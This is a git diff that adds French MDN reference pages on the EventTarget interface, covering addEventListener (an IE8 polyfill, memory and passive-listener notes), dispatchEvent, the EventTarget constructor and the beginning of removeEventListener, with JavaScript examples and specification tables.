+<p>Dans les versions Internet Explorer versions avant IE 9, vous deviez utiliser {{domxref("EventTarget.attachEvent", "attachEvent()")}}, plutôt que la méthode standard <code>addEventListener</code>. Pour IE, nous modifions l'exemple précédent en :</p>
+
+<pre class="brush: js line-numbers  language-js notranslate">if (el.addEventListener) {
+  el.addEventListener('click', modifierTexte, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifierTexte);
+}</pre>
+
+<p>Il y a un inconvénient avec <code>attachEvent</code> : la valeur de <code>this</code> sera une référence à l'objet <code>window</code>, au lieu de l'élément sur lequel il a été déclenché.</p>
+
+<p>La méthode <code>attachEvent()</code> peut être couplée avec l'évènement <code>onresize</code> pour détecter que certains éléments dans une page web ont été redimensionnés. L'évènement propriétaire <code>mselementresize</code>, lorsqu'il est couplé avec la méthode <code>addEventListener</code> d'enregistrement des gestionnaires d'évènements, fournit une fonctionnalité similaire à celle de <code>onresize</code>, se déclenchant quand certains éléments HTML sont redimensionnés.</p>
+
+<h3 id="Émulation">Émulation</h3>
+
+<p>Vous pouvez contourner le fait que <code>addEventListener()</code>, <code>removeEventListener()</code>, {{domxref("Event.preventDefault()")}} et {{domxref("Event.stopPropagation()")}} ne sont pas pris en charge par IE 8 en utilisant le code suivant au début de votre script. Le code prend en charge l'utilisation de <code>handleEvent()</code>, et aussi l'évènement {{event("DOMContentLoaded")}}.</p>
+
+<div class="note">
+<p><strong>Note : </strong><code>useCapture</code> n'est pas pris en charge, du fait qu'IE 8 n'a aucune méthode alternative. Le code suivant ajoute seulement la prise en charge d'IE 8. Cette émulation pour IE 8 fonctionne uniquement en mode standard : une déclaration <code>doctype</code> est requise.</p>
+</div>
+
+<pre class="brush: js line-numbers  language-js notranslate">(function() {
+  if (!Event.prototype.preventDefault) {
+    Event.prototype.preventDefault=function() {
+      this.returnValue=false;
+    };
+  }
+  if (!Event.prototype.stopPropagation) {
+    Event.prototype.stopPropagation=function() {
+      this.cancelBubble=true;
+    };
+  }
+  if (!Element.prototype.addEventListener) {
+    var eventListeners=[];
+
+    var addEventListener=function(type,listener /*, useCapture (sera ignoré) */) {
+      var self=this;
+      var wrapper=function(e) {
+        e.target=e.srcElement;
+        e.currentTarget=self;
+        if (typeof listener.handleEvent != 'undefined') {
+          listener.handleEvent(e);
+        } else {
+          listener.call(self,e);
+        }
+      };
+      if (type=="DOMContentLoaded") {
+        var wrapper2=function(e) {
+          if (document.readyState=="complete") {
+            wrapper(e);
+          }
+        };
+        document.attachEvent("onreadystatechange",wrapper2);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+        if (document.readyState=="complete") {
+          var e=new Event();
+          e.srcElement=window;
+          wrapper2(e);
+        }
+      } else {
+        this.attachEvent("on"+type,wrapper);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+      }
+    };
+    var removeEventListener=function(type,listener /*, useCapture (sera ignoré) */) {
+      var counter=0;
+      while (counter&lt;eventListeners.length) {
+        var eventListener=eventListeners[counter];
+        if (eventListener.object==this &amp;&amp; eventListener.type==type &amp;&amp; eventListener.listener==listener) {
+          if (type=="DOMContentLoaded") {
+            this.detachEvent("onreadystatechange",eventListener.wrapper);
+          } else {
+            this.detachEvent("on"+type,eventListener.wrapper);
+          }
+          eventListeners.splice(counter, 1);
+          break;
+        }
+        ++counter;
+      }
+    };
+    Element.prototype.addEventListener=addEventListener;
+    Element.prototype.removeEventListener=removeEventListener;
+    if (HTMLDocument) {
+      HTMLDocument.prototype.addEventListener=addEventListener;
+      HTMLDocument.prototype.removeEventListener=removeEventListener;
+    }
+    if (Window) {
+      Window.prototype.addEventListener=addEventListener;
+      Window.prototype.removeEventListener=removeEventListener;
+    }
+  }
+})();</pre>
+
+<h3 id="Ancienne_manière_denregistrer_les_écouteurs_dévènements">Ancienne manière d'enregistrer les écouteurs d'évènements</h3>
+
+<p>La méthode <code>addEventListener()</code> a été ajoutée dans la spécification DOM 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a>. Avant cela, les écouteurs d'évènements étaient enregistrés de la manière suivante :</p>
+
+<pre class="notranslate">// Passage d'une référence à une fonction — ne pas ajouter de '()' après, cela appelerait la fonction !
+el.onclick = modifierTexte;
+
+// Utilisation d'une fonction directe
+element.onclick = function() {
+  ...logique de la fonction...
+};
+</pre>
+
+<p>Cette méthode remplace l'(les)écouteur(s) d'évènements <code>click</code> existant(s) de l'élément s'il y en a. D'autres évènements et leurs gestionnaires d'évènements associés comme <code>blur</code> (<code>onblur</code>), et  <code>keypress</code> ( <code>onkeypress</code>) se comportent de façon similaire.</p>
+
+<p>Comme elle faisait partie de façon fondamentale du DOM 0, cette méthode est très largement prise en charge et ne nécessite aucun code multi-navigateur. C'est pourquoi elle est souvent utilisée pour enregistrer des évènements dynamiquement quand de très anciens navigateurs (comme IE &lt;=8) doivent être pris en charge ; voir la table plus bas pour les détails de la prise en charge par les navigateurs pour <code>addEventListener</code>.</p>
+
+<h3 id="Problèmes_de_mémoire">Problèmes de mémoire</h3>
+
+<pre class="brush: js line-numbers  language-js notranslate">var i;
+var els = document.getElementsByTagName('*');
+
+// Cas 1
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", function(e){/*faire quelque chose*/}, false);
+}
+
+// Cas 2
+function traiterEvenement(e){
+  /* faire quelque chose */
+}
+
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", traiterEvenement, false);
+}</pre>
+
+<p>Dans le premier cas ci-dessus, une nouvelle fonction gestionnaire (anonyme) est créée à chaque itération de la boucle. Dans le second cas, la même fonction déclarée préalablement est utilisée comme gestionnaire d'évènements. Cela entraîne une consommation de mémoire réduite. De plus, dans le premier cas, il n'est pas possible d'appeler {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} du fait qu'aucune référence à la fonction anonyme n'est conservée (ou ici, n'est conservée aucune des multiples fonctions anonymes que la boucle peut créer). Dans le second cas, il est possible de faire <code>monElement.removeEventListener("click", traiterEvenement, false)</code> du fait que <code>traiterEvenement</code> est la référence à la fonction.</p>
+
+<p>En fait, en ce qui concerne la consommation de mémoire, l'absence de conservation d'une référence à la fonction n'est pas le problème réel ; c'est plutôt l'absence de conservation d'une référence STATIQUE à la fonction. Dans les deux cas à problème ci-dessous, une référence à la fonction est conservée, mais du fait qu'elle est redéfinie à chaque itération, elle n'est pas statique. Dans le troisème cas, la référence à la fonction anonyme est réaffectée à chaque itération. Dans le quatrième cas, la définition entière de la fonction est inchangée, mais elle est néanmoins répétitivement définie comme si elle était nouvelle (à moins qu'elle n'ait été [[promue]] par le compilateur), et elle n'est donc pas statique. Par conséquent, bien qu'il ne semble y avoir simplement que des [[Multiple identical event listeners]], dans les deux cas, chaque itération créera à la place un nouvel écouteur avec sa propre unique référence à la fonction gestionnaire. Cependant, du fait que la définition de la fonction elle-même ne change pas, la MÊME fonction peut toujours être appelée pour chaque écouteur dupliqué (spécialement si le code est optimisé.)</p>
+
+<p>Également dans les deux cas, du fait que la référence à la fonction e été conservée mais est répétitivement redéfinie par chaque ajout, l'instruction 'remove' ci-dessus peut toujours supprimer un écouteur, mais seulement le dernier ajouté.</p>
+
+<pre class="brush: js notranslate">// Pour illustration seulement : notez la "FAUTE" de [j] au lieu de [i] entrainant ainsi que les évènements voulus sont tous enregistrés pour le MÊME élément
+
+// Cas 3
+for(let i=0, j=0 ; i&lt;els.length ; i++){
+  /* faire des tas de choses avec j */
+  els[j].addEventListener("click", traiterEvenement = function(e){/*faire quelque chose*/}, false);
+}
+
+// Cas 4
+for(let i=0, j=0 ; i&lt;els.length ; i++){
+  /* faire des tas de choses avec  j */
+  function traiterEvenement(e){/*faire quelque chose*/};
+  els[j].addEventListener("click", traiterEvenement, false);
+}</pre>
+
+<h3 id="Amélioration_des_performances_de_défilement_avec_les_écouteurs_passifs">Amélioration des performances de défilement avec les écouteurs passifs</h3>
+
+<p>D'après la spécification, la valeur par défaut pour l'option <code>passive</code> est toujours <code>false</code> (<em>faux</em>). Toutefois, cela introduit la possibilité que des écouteurs d'évènements gérant certains évènements tactiles (parmi d'autres) bloquent le fil d'exécution principal du navigateur pendant qu'il essaye de gérer le défilement, avec pour résultat une possiblement énorme réduction de performance pendant la gestion du défilement.</p>
+
+<p>Pour prévenir ce problème, certains navigateurs (spécifiquement, Chrome et Firefox) ont changé la valeur par défault de l'option <code>passive</code> à <code>true</code> pour les évènements {{event("touchstart")}} et {{event("touchmove")}} dans les nœuds de niveau document {{domxref("Window")}}, {{domxref("Document")}}, et {{domxref("Document.body")}}. Cela empêche que l'écouteur d'évènement ne soit appelé, de sorte qu'il ne peut pas bloquer le rendu de la page pendant que l'utilisateur fait un défilement.</p>
+
+<div class="note">
+<p><strong>Note :</strong> voir la table de compatibilité ci-dessous si vous avez besoin de savoir quels navigateurs (et/ou quelles versions de ces navigateurs) implémentent ce comportement modifié.</p>
+</div>
+
+<p>Vous pouvez passer outre ce comportement en initialisant explicitement la valeur de <code>passive</code> à <code>false</code>, comme montré ci-dessous :</p>
+
+<pre class="brush: js notranslate">/* Détection de fonctionnalité */
+let passiveSiSupportee = false;
+
+try {
+  window.addEventListener("test", null,
+    Object.defineProperty(
+      {},
+      "passive",
+      {
+        get: function() { passiveSiSupportee = { passive: false }; }
+      }
+    )
+  );
+} catch(err) {}
+
+window.addEventListener('scroll', function(evenement) {
+  /* faire quelque chose */
+  // pas possible d'utiliser evenement.preventDefault();
+}, passiveSiSupportee );</pre>
+
+<p>Dans les navigateurs anciens qui ne prennent pas en charge le paramètre <code>options</code> d'<code>addEventListener()</code>, le fait d'essayer de l'utiliser empêche l'utilisation de l'argument <code>useCapture</code> sans utilisation appropriée de la <a href="https://wiki.developer.mozilla.org/fr/docs/Web/API/EventTarget/addEventListener$edit#Safely_detecting_option_support">détection de fonctionnalité</a>.</p>
+
+<p>Vous n'avez pas besoin de vous inquiéter de la valeur de <code>passive</code> pour l'évènement {{event("scroll")}} de base. Du fait qu'il ne peut pas être annulé, les écouteurs d'évènements ne peuvant pas bloquer le rendu de la page de toute façon.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, visitez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une "pull request".</div>
+
+<p>{{Compat("api.EventTarget.addEventListener", 3)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.removeEventListener()")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Création et déclenchement d'évènements personnalisés</a></li>
+ <li><a href="http://www.quirksmode.org/js/this.html">Plus de détails sur l'utilisation de <code>this</code> dans les gestionnaires d'évènements</a></li>
+</ul>
diff --git a/files/fr/web/api/eventtarget/dispatchevent/index.html b/files/fr/web/api/eventtarget/dispatchevent/index.html
new file mode 100644
index 0000000000..10389d111d
--- /dev/null
+++ b/files/fr/web/api/eventtarget/dispatchevent/index.html
@@ -0,0 +1,71 @@
+---
+title: element.dispatchEvent
+slug: Web/API/EventTarget/dispatchEvent
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Traitement
+  - évènements
+translation_of: Web/API/EventTarget/dispatchEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Envoie un {{domxref("Event")}} (<em>évènement</em>) à la {{domxref("EventTarget")}} (<em>cible</em>) spécifiée (synchrone) en appelant les {{domxref("EventListener")}} (<em>écouteurs</em>)  dans l'ordre approprié. Le processus normal de traitement de l'évènement (y compris les phases de capture et l'éventuelle propagation) s'applique aussi aux évènements diffusés manuellement avec <code>dispatchEvent()</code>.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>cancelled</em> = !<em>target</em>.dispatchEvent(<em>event</em>)
+</pre>
+
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+
+<ul>
+ <li><code>event</code> est un objet {{domxref("Event")}} à envoyer.</li>
+ <li><code>target</code> (<em>cible</em>) est utilisée pour initialiser la {{domxref("Event", "", "target")}} et déterminer quels écouteurs d'évènements doivent être invoqués.</li>
+</ul>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<ul>
+ <li>La valeur de retour est  <code>false</code> (<em>faux</em>) si l'évènement est annulable et au moins l'un des gestionnaires d'événements qui ont géré cet événement appelé {{domxref ("Event.preventDefault ()")}}. Sinon, elle est <code>true</code> (<em>vrai</em>).</li>
+</ul>
+
+<p>La méthode <code>dispatchEvent</code> lance une exception <code>UNSPECIFIED_EVENT_TYPE_ERR</code> si le type de l'évènement n'a pas été spécifié par son initialisation avant l'appel de la méthode ou s'il est <code>null</code> ou une chaîne vide. Les exceptions lancées par les gestionnaires d'évènements sont signalées comme exceptions non interceptées ; les gestionnaires d'événements s'exécutent sur une pile d'appels imbriquée : ils bloquent l'appelant jusqu'à ce qu'ils se terminent, mais les exceptions ne se propagent pas à l'appelant.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Contrairement aux événements "natifs", qui sont déclenchés par le DOM et invoquent les gestionnaires d'événements de manière asynchrone via la <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Concurrence_et_boucle_des_%C3%A9v%C3%A9nements">boucle des événements</a>, <code>dispatchEvent</code> appelle les gestionnaires d'événements de manière synchrone. Tous les gestionnaires d'événements applicables s'exécuteront et retourneront avant que le code ne continue après l'appel à <code>dispatchEvent</code>.</p>
+
+<p>Comme montré dans l'exemple qui précède, <code>dispatchEvent</code> est la dernière étape du processus création-initialisation-envoi, qui est utilisé pour envoyer des évènements dans le modèle de l'implémentation des évènements. Ceux-ci peuvent être créés en utilisant le <a href="https://developer.mozilla.org/fr/docs/Web/API/Event/Event">constructeur d'évènements</a>.</p>
+
+<p>Voir aussi <a href="https://developer.mozilla.org/fr/docs/Web/API/Event" title="DOM/event">Objet Event référence</a>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Voir <a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Création et déclenchement d'évènements</a>.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td>Définition initiale dans la spécification DOM 2 Events (<em>évènements</em>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_.C3.A9galement" name="Voir_.C3.A9galement">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.EventTarget.dispatchEvent")}}</p>
diff --git a/files/fr/web/api/eventtarget/eventtarget/index.html b/files/fr/web/api/eventtarget/eventtarget/index.html
new file mode 100644
index 0000000000..522466de4b
--- /dev/null
+++ b/files/fr/web/api/eventtarget/eventtarget/index.html
@@ -0,0 +1,80 @@
+---
+title: EventTarget()
+slug: Web/API/EventTarget/EventTarget
+tags:
+  - API
+  - Cible
+  - Constructeur
+  - DOM
+  - évènements
+translation_of: Web/API/EventTarget/EventTarget
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p>Le constructeur <code><strong>EventTarget()</strong></code> crée une nouvelle instance d'objet {{domxref("EventTarget")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>myEventTarget</var> = new EventTarget();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une instance d'objet {{domxref("EventTarget")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js" id="ct-20">class MyEventTarget extends EventTarget {
+  constructor(mySecret) {
+    super();
+    this._secret = mySecret;
+  }
+
+  get secret() { return this._secret; }
+};
+
+let myEventTarget = new MyEventTarget(5);
+let value = myEventTarget.secret;  // == 5
+myEventTarget.addEventListener("foo", function(e) {
+  this._secret = e.detail;
+});
+
+let event = new CustomEvent("foo", { detail: 7 });
+myEventTarget.dispatchEvent(event);
+let newValue = myEventTarget.secret; // == 7</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.EventTarget.EventTarget")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("EventTarget")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/eventtarget/index.html b/files/fr/web/api/eventtarget/index.html
new file mode 100644
index 0000000000..cfef429c5f
--- /dev/null
+++ b/files/fr/web/api/eventtarget/index.html
@@ -0,0 +1,138 @@
+---
+title: EventTarget
+slug: Web/API/EventTarget
+tags:
+  - API
+  - Cible de l'événement
+  - DOM
+  - DOM Events
+  - EventTarget
+  - Interface
+  - Événements DOM
+translation_of: Web/API/EventTarget
+---
+<nav>{{ApiRef("DOM Events")}}</nav>
+
+<p><span class="seoSummary"><code>EventTarget</code> est une interface DOM implémentée par des objets qui peuvent recevoir des événements et peuvent avoir des écouteurs pour eux.</span></p>
+
+<p>{{domxref ("Element")}}, {{domxref ("Document")}} et {{domxref ("Window")}} sont les cibles d'événements les plus fréquentes, mais d'autres objets peuvent également être des cibles d'événements. Par exemple {{domxref ("XMLHttpRequest")}}, {{domxref ("AudioNode")}}, {{domxref ("AudioContext")}} et autres.</p>
+
+<p>De nombreuses cibles d'événements (y compris des éléments, des documents et des fenêtres) supporte également la définition de <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events/Event_handlers">gestionnaires d'événements</a> via les propriétés et attributs <code>onevent</code>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.EventTarget()", "EventTarget()")}}</dt>
+ <dd>Crée une nouvelle instance d'objet <code>EventTarget</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()", "<var>EventTarget</var>.addEventListener()")}}</dt>
+ <dd>Enregistre un gestionnaire d'événements d'un type d'événement spécifique sur <code>EventTarget</code>.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener()", "<var>EventTarget</var>.removeEventListener()")}}</dt>
+ <dd>Supprime un écouteur d'événement de <code>EventTarget</code>.</dd>
+ <dt>{{domxref("EventTarget.dispatchEvent()", "<var>EventTarget</var>.dispatchEvent()")}}</dt>
+ <dd>Envoie un événement à cet <code>EventTarget</code>.</dd>
+</dl>
+
+<h3 id="Méthodes_supplémentaires_dans_la_base_de_code_Chrome_de_Mozilla">Méthodes supplémentaires dans la base de code Chrome de Mozilla</h3>
+
+<p>Mozilla inclut quelques extensions à utiliser par les cibles d'événements implémentées par JS pour implémenter les propriétés <code>onevent</code>.</p>
+
+<p>Voir aussi <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/WebIDL_bindings">liaisons WebIDL</a>.</p>
+
+<ul>
+ <li><code>void <strong>setEventHandler</strong>(DOMString <var>type</var>, EventHandler <var>handler</var>)</code> {{non-standard_inline}}</li>
+ <li><code>EventHandler <strong>getEventHandler</strong>(DOMString <var>type</var>)</code> {{non-standard_inline}}</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Implémentation_simple_dEventTarget">Implémentation simple d'EventTarget</h3>
+
+<pre class="brush: js notranslate">const EventTarget = function () {
+  this.listeners = {}
+}
+
+EventTarget.prototype.listeners = null
+EventTarget.prototype.addEventListener = function (type, callback) {
+  if (!(type in this.listeners)) {
+    this.listeners[type] = []
+  }
+  this.listeners[type].push(callback)
+}
+
+EventTarget.prototype.removeEventListener = function (type, callback) {
+  if (!(type in this.listeners)) {
+    return
+  }
+  const stack = this.listeners[type]
+  for (let i = 0, l = stack.length; i &lt; l; i++) {
+    if (stack[i] === callback) {
+      stack.splice(i, 1)
+      return
+    }
+  }
+}
+
+EventTarget.prototype.dispatchEvent = function (event) {
+  if (!(event.type in this.listeners)) {
+    return true
+  }
+  const stack = this.listeners[event.type].slice()
+
+  for (let i = 0, l = stack.length; i &lt; l; i++) {
+    stack[i].call(this, event)
+  }
+  return !event.defaultPrevented
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Quelques paramètres sont désormais optionnels (<code>listener</code>), ou acceptent la valeur nulle (<code>useCapture</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.EventTarget")}}</p>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Reference/Events">Référence d'événement</a> - les événements disponibles sur la plateforme.</li>
+ <li> <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/DOM/Events">Guide du développeur d'événements</a></li>
+ <li>{{domxref("Event")}} interface</li>
+</ul>
diff --git a/files/fr/web/api/eventtarget/removeeventlistener/index.html b/files/fr/web/api/eventtarget/removeeventlistener/index.html
new file mode 100644
index 0000000000..2003b72949
--- /dev/null
+++ b/files/fr/web/api/eventtarget/removeeventlistener/index.html
@@ -0,0 +1,222 @@
+---
+title: element.removeEventListener
+slug: Web/API/EventTarget/removeEventListener
+tags:
+  - API
+  - Cible
+  - DOM
+  - Evènement
+  - Méthode
+  - Reference
+  - Suppression
+  - Écouteurs
+translation_of: Web/API/EventTarget/removeEventListener
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p>La méthode <strong><code>EventTarget.removeEventListener()</code></strong> supprime d'une {{domxref("EventTarget")}} (<em>cible</em>) un écouteur d'évènements précédemment enregistré avec {{domxref("EventTarget.addEventListener()")}}. L'écouteur d'évènements à supprimer est identifié en utilisant la combinaison du type d'évènement, la fonction "event listener" elle-même et diverses options factultatives qui peuvent affecter le processus de correspondance ; voir la section <em>Correspondance utilisée pour la suppression d'écouteurs d'événements</em> ci-après.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>options</em>]);
+</code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>Une chaîne représentant le type d'événement pour lequel supprimer un écouteur d'évènements.</dd>
+ <dt><code>listener</code></dt>
+ <dd>La fonction  {{domxref("EventListener")}}  du gestionnaire d'évènements à retirer de la cible d'évènements.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Un objet d'options qui spécifie les caractéristiques de l'écouteur d'évènements. Les options disponibles sont :</p>
+
+ <ul>
+  <li><code>capture</code> : un {{jsxref("Boolean")}} indiquant que les évènements de ce type seront envoyés au <code>listener</code> enregistré avant d'être distribués à tout <code>EventTarget</code> en-dessous dans l'arborescence du DOM.</li>
+  <li><code>passive</code> : un {{jsxref("Boolean")}} qui indique que le <code>listener</code> n'appellera jamais <code>preventDefault()</code>. S'il doit le faire, l'agent utilisateur l'ignorera et génèrera un avertissement dans la console.</li>
+  <li>{{non-standard_inline}} <code>mozSystemGroup</code> : Disponible seulement pour le code exécuté dans XBL ou dans le chrome de Firefox, c'est un {{jsxref("Boolean")}} indiquant que l'écouteur a été ajouté au groupe système.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>Indique si l'{{domxref("EventListener")}} à retirer a été enregistré comme un<code> </code>écouteur capturant, ou non. Si le paramètre est absent, la valeur par défaut est <code>false</code> (<em>faux</em>).</dd>
+</dl>
+
+<p>Si un écouteur est enregistré deux fois, un avec capture et un sans, supprimez chacun séparément. La suppression d'un écouteur de capture n'affecte pas une version non capturante du même écouteur, et vice versa.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>. (<em>indéfini</em>)</p>
+
+<h3 id="Correspondance_utilisée_pour_la_suppression_d'écouteurs_d'événements">Correspondance utilisée pour la suppression d'écouteurs d'événements</h3>
+
+<p>Étant donné qu'un écouteur d'événements a déjà été ajouté en appelant {{domxref("EventTarget.addEventListener","addEventListener()")}}, vous pouvez éventuellement arriver à un point auquel vous devez le supprimer. Vous devez alors spécifier le même <code>type</code> et les mêmes paramètres <code>listener</code> pour <code>removeEventListener()</code>, mais qu'en est-il des paramètres <code>options</code> ou <code>useCapture</code> ?</p>
+
+<p>Alors que <code>addEventListener()</code> vous permet d'ajouter le même écouteur plus d'une fois pour le même type si les options sont différentes, la seule option que <code>removeEventListener()</code> vérifie est l'indicateur <code>capture</code> / <code>useCapture</code>. Sa valeur doit correspondre pour que <code>removeEventListener()</code> corresponde, mais pas les autres valeurs.</p>
+
+<p>Par exemple, considérons l'appel de <code>addEventListener()</code> :</p>
+
+<pre class="brush: js">element.addEventListener("mousedown", handleMouseDown, true);</pre>
+
+<p>Maintenant, voyons chacun des deux appels de <code>removeEventListener()</code> :</p>
+
+<pre class="brush: js">element.removeEventListener("mousedown", handleMouseDown, false);     // Fails
+element.removeEventListener("mousedown", handleMouseDown, true);</pre>
+
+<p>Le premier appel échoue parce que la valeur de <code>useCapture</code> ne correspond pas. Le second réussit puisqu'il correspond pour <code>useCapture</code>.</p>
+
+<p>Maintenant, observez ceci :</p>
+
+<pre class="brush: js">element.addEventListener("mousedown", handleMouseDown, { passive: true });</pre>
+
+<p>Ici, nous spécifions un objet <code>options</code> dans lequel <code>passive</code> est défini à <code>true</code>, tandis que les autres options sont laissées à la valeur par défaut de <code>false</code>.</p>
+
+<p>Maintenant, regardez chacun de ces appels successifs à <code>removeEventListener()</code>. N'importe lequel d'entre eux dans lequel <code>capture</code> ou <code>useCapture</code> est <code>true</code> (<em>vrai</em>) échoue ; tous les autres réussissent. Seul le paramètre de <code>capture</code> est important pour <code>removeEventListener()</code>.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">element.removeEventListener("mousedown", handleMouseDown, { passive: true });     // Réussit
+element.removeEventListener("mousedown", handleMouseDown, { capture: false });    // Réussit
+element.removeEventListener("mousedown", handleMouseDown, { capture: true });     // Échoue
+element.removeEventListener("mousedown", handleMouseDown, { passive: false });    // Réussit
+element.removeEventListener("mousedown", handleMouseDown, false);                 // Réussit
+element.removeEventListener("mousedown", handleMouseDown, true);                  // Échoue</code>
+</pre>
+
+<p>Il est à noter que certaines versions du navigateur ont été incohérentes à ce sujet, et sauf si vous avez des raisons spécifiques, il est probablement sage d'utiliser les mêmes valeurs que pour l'appel à <code>addEventListener()</code> lors de l'appel de <code>removeEventListener()</code>.</p>
+
+<h2 id="Notes">Notes</h2>
+
